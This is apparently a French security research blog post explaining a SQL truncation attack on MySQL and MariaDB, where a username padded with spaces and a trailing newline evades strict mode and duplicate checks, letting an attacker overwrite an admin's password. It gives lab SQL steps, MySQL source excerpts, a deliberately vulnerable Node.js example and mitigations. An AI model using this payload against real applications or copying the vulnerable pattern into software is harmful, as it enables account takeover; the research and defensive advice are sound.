keyboard_arrow_up

title: Maria DB on the beat
date: Apr 20, 2026
tags: research sgbd


Comment réécrire la BDD avec la troncature ?

TL;DR

TL;DR de 3 minutes dans cette vidéo.


Comment ça a commencé

Un jour, un ami à moi a terminé un challenge qui impliquait une vulnérabilité de troncature SQL, et il en était préoccupé. Je l'ai rassuré en lui disant que c'était juste un « trick de CTF » et hardcodé, mais que ça n'existait pas vraiment. J'ai ensuite commencé à faire des recherches sur le sujet juste « pour confirmer ».

Voici les résultats de cette recherche.


Le setup

On lance un conteneur mysql:5 ou mariadb:latest et on crée une table utilisateur ultra simple :

docker run -it --rm --name maria-temp -e MARIADB_ROOT_PASSWORD=root mariadb
docker exec -it maria-temp mariadb -proot
CREATE DATABASE IF NOT EXISTS db;
USE db;

CREATE TABLE IF NOT EXISTS User (
    id INT AUTO_INCREMENT PRIMARY KEY,
    email VARCHAR(10) UNIQUE NOT NULL,
    username VARCHAR(10) NOT NULL,
    password VARCHAR(100) NOT NULL
);

Deux utilisateurs. Un admin qu'on veut pwn, et un guest qu'on contrôle :

INSERT INTO User (email, username, password)
    VALUES ('admin@root', 'admin', 'unknowpass');

INSERT INTO User (email, username, password)
    VALUES ('guest@root', 'guest', 'guestpass');

L'objectif est simple : réécrire le mot de passe admin sans le connaître.


PAD SPACE : l'habitude bizarre de MySQL

Première chose à savoir : MySQL avec les collations par défaut (PAD SPACE) ignore les espaces de fin dans les comparaisons. Donc :

SELECT * FROM User WHERE username = 'admin     ';
-- Renvoie l'admin. 
-- +----+------------+----------+------------+
-- | id | email      | username | password   |
-- +----+------------+----------+------------+
-- |  1 | admin@root | admin    | unknowpass |
-- +----+------------+----------+------------+

Mais si on ajoute un vrai caractère après les espaces :

SELECT * FROM User WHERE username = 'admin     a';
-- Empty set. Le 'a' le rend différent.

Pareil avec \n :

SELECT * FROM User WHERE username = 'admin     \n';
-- Empty set. '\n' n'est pas un espace pour les comparaisons.

On voit ici le comportement clé : "admin" == "admin " mais "admin" != "admin \n". Retenez bien. Ça a son importance.


Le mode strict dit non (en général)

Depuis MySQL 5.7.5, STRICT_TRANS_TABLES est activé par défaut. MariaDB a suivi en 10.2.4. Donc si on essaie de caser une valeur trop longue :

UPDATE User
    SET username = 'admin     a'
    WHERE username = 'guest';
-- ERROR 1406 (22001): Data too long for column 'username' at row 2

Le mode strict attrape le caractère a qui serait perdu à la troncature et lève une erreur. Les attaques classiques de troncature SQL de 2008 sont bloquées.

Mais voilà le truc. La doc de MySQL dit littéralement :

« For VARCHAR columns, trailing spaces in excess of the column length are truncated prior to insertion and a warning is generated, regardless of the SQL mode in use. »

« Regardless of the SQL mode. » Donc tronquer des espaces ne lève jamais d'erreur. Seulement un warning. Même en mode strict. La question devient : qu'est-ce que MySQL considère comme un "espace" ?


L'astuce : \n est un espace (mais pas toujours)

Essayons un truc. Au lieu de 'admin a', on utilise 'admin \n' :

UPDATE User
    SET username = 'admin     \n'
    WHERE username = 'guest';
-- Query OK, 1 row affected, 1 warning
-- Rows matched: 1  Changed: 1  Warnings: 1

Ça marche. MySQL a accepté. Le \n s'est fait tronquer avec juste un warning.

Vérifions l'état de la base :

SELECT * FROM User;
-- +----+------------+----------+------------+
-- |  1 | admin@root | admin    | unknowpass |
-- |  2 | guest@root | admin    | guestpass  |
-- +----+------------+----------+------------+

SELECT username, CHAR_LENGTH(username) FROM User;
-- | admin    |  5 |
-- | admin    | 10 |

On a maintenant deux utilisateurs nommés "admin". Le vrai (5 caractères) et notre faux (10 caractères : "admin" + 5 espaces). Ça fonctionne parce que username n'est pas UNIQUE.

Et comme PAD SPACE les traite comme égaux dans les clauses WHERE, on peut maintenant écraser le mot de passe du vrai admin :

SET @target_username = (SELECT username FROM User
    WHERE username = 'admin' AND password = 'guestpass');

UPDATE User
    SET password = 'evilpass'
    WHERE username = @target_username;
-- Query OK, 2 rows affected
-- Rows matched: 2  Changed: 2
SELECT * FROM User;
-- +----+------------+----------+----------+
-- |  1 | admin@root | admin    | evilpass |
-- |  2 | guest@root | admin    | evilpass |
-- +----+------------+----------+----------+

Mot de passe admin réécrit. On est dedans.


Ok pourquoi ? Lisons le code

Alors pourquoi \n bypass le mode strict alors que a ne le fait pas ? Il est temps de creuser dans le code source de MySQL.

Deux définitions de « l'espace »

Quand MySQL compare des chaînes (dans SELECT, WHERE, JOIN), il utilise strnncollsp() de item_cmpfunc.cc. Cette fonction pad la chaîne la plus courte avec uniquement des caractères espace (0x20). C'est ça PAD SPACE. Seul le vrai caractère espace compte.

Mais quand MySQL stocke une chaîne et qu'elle est trop longue, il appelle test_if_important_data() de field.cc :

static bool test_if_important_data(const CHARSET_INFO *cs,
                                   const char *str,
                                   const char *strend)
{
    if (cs != &my_charset_bin)
        str += cs->cset->scan(cs, str, strend, MY_SEQ_SPACES);
    return (str < strend);
}

Cette fonction scanne les caractères en trop et vérifie s'ils sont tous des « espaces » en utilisant my_isspace(). Si oui, elle renvoie false (la donnée n'est pas importante) et MySQL émet juste un warning. Sinon, elle renvoie true et MySQL lève une erreur en mode strict.

my_isspace() est généreux

inline bool my_isspace(const CHARSET_INFO *cs, char ch) {
    return ((cs->ctype + 1)[static_cast<uint8_t>(ch)] & MY_CHAR_SPC) != 0;
}

Elle vérifie le caractère dans une table ctype avec le bitmask MY_CHAR_SPC (octal 010, décimal 8). Regardons quels caractères ont ce flag :

Char Hex valeur ctype Flags my_isspace ?
\t (tab) 0x09 40 CTR + SPC oui
\n (newline) 0x0A 40 CTR + SPC oui
\v (vtab) 0x0B 40 CTR + SPC oui
\f (formfeed) 0x0C 40 CTR + SPC oui
\r (return) 0x0D 40 CTR + SPC oui
(space) 0x20 72 SPC + B oui

Ce sont exactement les caractères reconnus par la fonction isspace() standard du C. Tous ont le flag MY_CHAR_SPC.

Si on suit la logique : '\n' = 0x0a = valeur ctype 40 = 32 + 8 = MY_CHAR_CTR + MY_CHAR_SPC. Le flag MY_CHAR_SPC est activé, donc my_isspace() renvoie true. MySQL considère \n comme de la donnée non importante. Troncature acceptée. Warning uniquement.

L'asymétrie

Et c'est là toute l'astuce. MySQL a deux définitions de « l'espace » :

\n passe par cet interstice. Il est « pas important » pour le stockage (donc la troncature est autorisée même en mode strict), mais ce n'est pas un espace pour la comparaison (donc il bypass les checks d'unicité dans les SELECT).

Stocker 'admin     \n'
        |
    Valeur trop longue pour VARCHAR(10)
        |
    test_if_important_data(): scan avec my_isspace()
        |
    '\n' a le flag MY_CHAR_SPC -> "pas important"
        |
    Troncature avec WARNING (pas d'erreur, même en mode strict)
        |
    Stocké : 'admin     '

Collations : PAD SPACE vs NO PAD

Cette attaque repose sur les collations PAD SPACE où 'admin' = 'admin '. Voilà ce qu'il faut savoir :

Donc si vous êtes sur MySQL 8 avec une collation PAD SPACE (fréquent après une migration depuis MySQL 5), vous êtes toujours vulnérable. Et si vous êtes sur MariaDB avec les paramètres par défaut, vous êtes vulnérable peu importe la version.

Vous pouvez vérifier le comportement de padding de votre collation :

SELECT COLLATION_NAME, PAD_ATTRIBUTE
FROM INFORMATION_SCHEMA.COLLATIONS
WHERE COLLATION_NAME LIKE '%utf8mb4%';

Exemple de code réel

Voilà à quoi ressemble une app Node.js vulnérable. Des trucs classiques -- inscription + mise à jour du profil :

Inscription (check d'unicité)

router.post('/register', async (req, res) => {
  const { email, username, password } = req.body;

  const [existingUser] = await pool.query(
    'SELECT * FROM User WHERE email = ? OR username = ?',
    [email, username]
  );

  if (existingUser.length > 0) {
    return res.status(400).json({
      message: "Email ou nom d'utilisateur deja utilise."
    });
  }
  // ... insert user ...
});

Si on s'inscrit avec "admin \n", le SELECT ne matchera pas "admin" (parce que \n n'est pas ignoré par PAD SPACE). L'inscription réussit. MySQL tronque en "admin ".

Mise à jour du profil

router.put('/update-profile', auth(), async (req, res) => {
  const { username, password, description } = req.body;

  if (username && username !== user.username) {
    const [existingUsers] = await pool.query(
      'SELECT * FROM User WHERE username = ?', [username]
    );
    if (existingUsers.length > 0) {
      return res.status(400).json({
        message: "Nom d'utilisateur deja utilise."
      });
    }
  }

  params.push(user.username);
  const updateQuery = `UPDATE User SET ${updates.join(", ")} WHERE username = ?`;
  await pool.query(updateQuery, params);
  res.status(200).json({ message: 'Profil mis a jour' });
});

Le WHERE username = ? utilise le username de la session. PAD SPACE fait matcher "admin" avec "admin ". Les deux lignes sont mises à jour.


Qui est concerné ?

Prérequis

Pour que ça marche il faut :

Ne fonctionne pas si

Autres SGBD ?

SGBD Comparaison VARCHAR Troncature silencieuse Vulnérable ?
MySQL 5.x PAD SPACE Oui (caractères d'espacement) Oui
MySQL 8.0+ (défaut) NO PAD Oui (caractères d'espacement) Mitigé par défaut
MariaDB (toutes versions) PAD SPACE Oui (caractères d'espacement) Oui
SQL Server PAD SPACE Oui Potentiellement
PostgreSQL (VARCHAR) Pas de padding Non (erreur) Non
Oracle (VARCHAR2) Pas de padding Non Non
SQLite Pas de padding Pas de limite VARCHAR Non

SQL Server est intéressant -- il suit ANSI SQL-92 et utilise PAD SPACE pour toutes les comparaisons = (seul LIKE est exempté). Mais je n'ai pas testé, à creuser.


Comment se protéger

  1. Utilisez les clés primaires dans les clauses WHERE pour les UPDATE, pas des champs texte contrôlables par l'utilisateur
  2. Marquez les champs sensibles comme UNIQUE dans votre schéma
  3. Utilisez une collation NO PAD (utf8mb4_0900_ai_ci sur MySQL 8, ou *_nopad_* sur MariaDB 10.2.2+)
  4. Validez les entrées côté serveur : rejetez les caractères de contrôle (\n, \t, \r...) dans les champs texte comme les usernames
  5. Migrez depuis MySQL 5 : en EOL depuis octobre 2023

Références

tricks write as informative


Post-scriptum : il s'avère que ce n'est pas entièrement nouveau

En rédigeant l'article et en poussant les recherches plus loin, je me suis rendu compte qu'il existait des références à cette attaque dès 2008. Il s'avère que cette recherche étend accidentellement des travaux antérieurs -- je n'ai fait le lien qu'après coup.

L'attaque originale (2008)

En 2008, Stefan Esser (SektionEins GmbH) a publié l'Advisory 05/2008, décrivant une attaque de troncature SQL contre WordPress (CVE-2008-4106). Le concept avait été présenté encore plus tôt par Bala Neerumalla (Microsoft) à la Black Hat USA 2006. L'idée était simple :

  1. S'inscrire avec "admin" + 55 espaces + "x" (dépassant la longueur de la colonne)
  2. Le SELECT d'unicité ne matche pas (la chaîne complète diffère de "admin")
  3. MySQL tronque silencieusement en "admin" + 55 espaces
  4. PAD SPACE fait matcher le doublon dans les requêtes suivantes

Cette attaque nécessitait que STRICT_TRANS_TABLES soit off. Depuis MySQL 5.7.5 (2015) et MariaDB 10.2.4, le mode strict est on par défaut et la bloque : le x après les espaces est une « donnée importante », donc MySQL lève une erreur.

Ce qui change ici

La technique \n a été trouvée indépendamment, juste en lisant le code source MySQL par curiosité. Le lien avec les travaux d'Esser et Neerumalla n'est apparu qu'après.

La différence fondamentale : l'attaque classique exploitait l'absence du mode strict. La technique \n exploite une asymétrie interne de MySQL qui persiste même avec le mode strict activé. Deux définitions de « l'espace » dans le code source :

\n (0x0a) se faufile dans la faille.

Classique (Esser, 2008) Technique \n (cet article)
Nécessite mode strict off Oui Non
Padding Espaces + caractère alpha Espaces + caractère d'espacement (\n)
Cause racine Troncature silencieuse + PAD SPACE Asymétrie my_isspace() vs strnncollsp()
Mode strict MySQL 5.7+ Bloquée Fonctionne
Mode strict MariaDB 10.2.4+ Bloquée Fonctionne
CVE connue CVE-2008-4106 (WordPress) Aucune (considéré comme « comportement documenté »)

Après une recherche dans la littérature existante (blogs sécu, writeups CTF, OWASP, PayloadsAllTheThings, OverTheWire Natas 27, publications Synacktiv), aucune référence antérieure au bypass via \n par l'asymétrie MY_CHAR_SPC n'a été trouvée. Tous les writeups existants sur la troncature SQL décrivent la technique classique avec mode strict désactivé.

Références additionnelles


Présenté au Before SSTIC Unofficial, organisé par Bieres Secu Rennes et le DEF CON Group Paris, avec le soutien de Synacktiv.